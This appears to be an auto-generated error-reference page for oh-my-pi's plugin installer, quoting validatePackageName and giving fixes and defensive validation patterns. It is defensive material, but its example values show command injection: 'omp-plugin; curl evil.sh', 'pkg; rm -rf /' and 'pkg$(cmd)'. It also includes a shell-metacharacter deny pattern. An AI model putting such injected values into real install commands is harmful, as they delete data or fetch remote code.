can1357/oh-my-pi · error · Error
Invalid characters in package name: ${name}
Error message
Invalid characters in package name: ${name} What it means
A second defense layer in validatePackageName: even if the name passes the general pattern, names containing shell metacharacters (; & | ` $ ( ) { } [ ] < > \) are rejected with 'Invalid characters in package name: <name>' to prevent command injection into spawned install commands.
Source
Thrown at packages/coding-agent/src/extensibility/plugins/installer.ts:21
import { getAgentDir, getProjectDir, isEnoent } from "@oh-my-pi/pi-utils";
import { extractPackageName } from "./parser";
import type { InstalledPlugin } from "./types";
const PLUGINS_DIR = path.join(getAgentDir(), "plugins");
// Valid npm package name pattern (scoped and unscoped)
const VALID_PACKAGE_NAME = /^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*(@[a-z0-9-._^~>=<]+)?$/i;
/**
* Validate package name to prevent command injection
*/
function validatePackageName(name: string): void {
if (!VALID_PACKAGE_NAME.test(name)) {
throw new Error(`Invalid package name: ${name}`);
}
// Extra safety: no shell metacharacters
if (/[;&|`$(){}[\]<>\\]/.test(name)) {
throw new Error(`Invalid characters in package name: ${name}`);
}
}
/**
* Ensure the plugins directory exists
*/
async function ensurePluginsDir(): Promise<void> {
await fs.mkdir(PLUGINS_DIR, { recursive: true });
await fs.mkdir(path.join(PLUGINS_DIR, "node_modules"), { recursive: true });
}
export async function installPlugin(packageName: string): Promise<InstalledPlugin> {
// Validate package name to prevent command injection
validatePackageName(packageName);
// Ensure plugins directory exists
await ensurePluginsDir();
View on GitHub (pinned to 9690622007)
Solutions
- Remove all shell metacharacters from the package name.
- Sanitize/trim user input before passing to installPlugin/uninstallPlugin.
- Treat this throw as potential injection attempt: log it, don't retry with mutated input.
Example fix
// before
const name = userInput.trim(); // "omp-plugin; curl evil.sh"
await installPlugin(name)
// after
if (!/[;&|`$(){}[\]<>\\]/.test(name)) await installPlugin(name) Defensive patterns
Strategy: validation
Validate before calling
const FORBIDDEN = /[;&|`$(){}[\]<>\\]/;
if (FORBIDDEN.test(name)) {
alertUser(`Plugin name contains forbidden characters: ${name}`);
return;
}
await installPlugin(name); Type guard
function isShellSafeName(name: string): boolean {
return !/[;&|`$(){}[\]<>\\]/.test(name);
} Try / catch
try {
await installPlugin(name);
} catch (err) {
if (err instanceof Error && err.message.startsWith("Invalid characters in package name:")) {
logger.warn("Rejected potentially malicious plugin name", { name });
} else throw err;
} Prevention
- Never interpolate raw user input into package names
- Escape/strip shell metacharacters at every input boundary
- Log rejections — repeated hits may indicate an injection attempt
When it happens
Trigger: installPlugin/uninstallPlugin called with a name containing any of ;&|`$(){}[]<>\ — e.g. 'pkg; rm -rf /', 'pkg$(cmd)', or a Windows-style path fragment 'pkg\sub'.
Common situations: User-supplied names pasted from untrusted input; attempts (malicious or accidental) to smuggle shell syntax; config files with escaped or quoted names that keep the backslash.
Understand the failure class
- Parsing and encoding errors: unexpected token, malformed input — why parsers reject input and how to find the real culprit.
Related errors
- Invalid package name: ${name}
- Invalid path: ${localPath} resolves outside working director
- Provider delete URL must not embed an account credential
- Destination paths cannot contain parent traversal or NUL byt
- Upload filename is invalid
AI-assisted analysis of can1357/oh-my-pi@9690622007 (2026-08-31).
Data as JSON: /api/errors/a23e1d1a29cee312.
Report an issue: GitHub.